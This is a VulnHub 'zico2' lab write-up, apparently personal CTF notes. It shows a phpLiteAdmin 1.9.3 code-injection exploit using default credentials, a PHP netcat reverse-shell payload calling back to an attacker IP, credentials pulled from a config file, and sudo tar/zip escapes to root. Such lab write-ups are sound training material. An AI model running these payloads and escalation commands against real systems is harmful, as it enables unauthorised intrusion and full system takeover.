## **Summary:**

- 1. Enumerated tcp/22 SSH & tcp/80, a webserver running on:
  - phpLiteAdmin v1.9.3
    - http://192.168.56.110/dbadmin/test\_db.php ☑
    - Exploitable
  - startbootstrap-creative
    - http://192.168.56.110 ☑
    - Not Exploitable
- 2. Exploited the webserver via
  - phpLiteAdmin v1.9.3, where RCE can be done by creating a database with a .php extension & inserting a reverse shell code into its field. &
  - Default Credentials admin: admin
- 3. Lateral Privilege Escalation is done by finding credentials in files configuration.php
- Root was obtained via sudo misconfiguration of command tar/zip

### **Port 80**

- 1. Feroxbuster enumerated an interesting directory
  - http://192.168.56.110/dbadmin/test\_db.php



- Found a login page running on phpLiteAdmin
- Version v1.9.3
- Found an exploit for that version

```
(root@kali)-[~/vulnHub/zico2/192.168.56.110/loot]
# searchsploit phpLiteAdmin

Exploit Title
phpLiteAdmin - 'table' SQL Injection
phpLiteAdmin 1.1 - Multiple Vulnerabilities
PHPLiteAdmin 1.9.3 - Remote PHP Code Injection
phpLiteAdmin 1.9.6 - Multiple Vulnerabilities
```

- 2. Login with default credentials
  - admin:admin
- 3. Follow the instructions of the exploit
  - a. We create a db named "hack.php".



b. Now create a new table in this database name it RCE



c. Add a column called RCE with default value of our reverse shell payload

```
<?php system("rm /tmp/f;mkfifo /tmp/f;cat
/tmp/f|/bin/sh -i 2>&1|nc 192.168.56.103 4444
>/tmp/f");?>
```



d. Rename our database for it to show up in our /dbadmin directory



e. Execute our reverse shell by visiting /dbadmin/shell5.php



f. Shell obtained

## Privilege Escalation to zico via Creds found in files

1. Ran linPEAS

Found zico creds in wordpress dir, configuration.php

- zico:sWfCsfJSPV9H3AmQzw8
- 2. Change user to zico

```
www-data@zico:/tmp$ su zico
Password:
zico@zico:/tmp$
```

# Privilege Escalation to Root via Sudo Misconfiguration

Check for sudo access

- · tar & zip can be exploited
- · refer to GTFOBins
- 2. Exploit via TAR

```
sudo /bin/tar -cf /dev/null /dev/null --checkpoint=1 --
checkpoint-action=exec=/bin/sh

t-action=exec=/bin/sh/bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoin
/bin/tar: Removing leading `/' from member names
# whoami
root
# #
```

3. Exploit via ZIP

```
TF=$(mktemp -u)
sudo /usr/bin/zip $TF /etc/hosts -T -TT 'sh #'
```

```
sudo rm $TF
```

```
zico@zico:/tmp$ TF=$(mktemp -u)
zico@zico:/tmp$ sudo /usr/bin/zip $TF /etc/hosts -T -TT 'sh #'
adding: etc/hosts (deflated 35%)
#
rm: missing operand
Try `rm --help' for more information.
# whoami
root
```

#### 4. Root flag

```
# cd /root
# ls
flag.txt
# cat flag.txt
#
#
#
# R0000T!
# You did it! Congratz!
#
# Hope you enjoyed!
```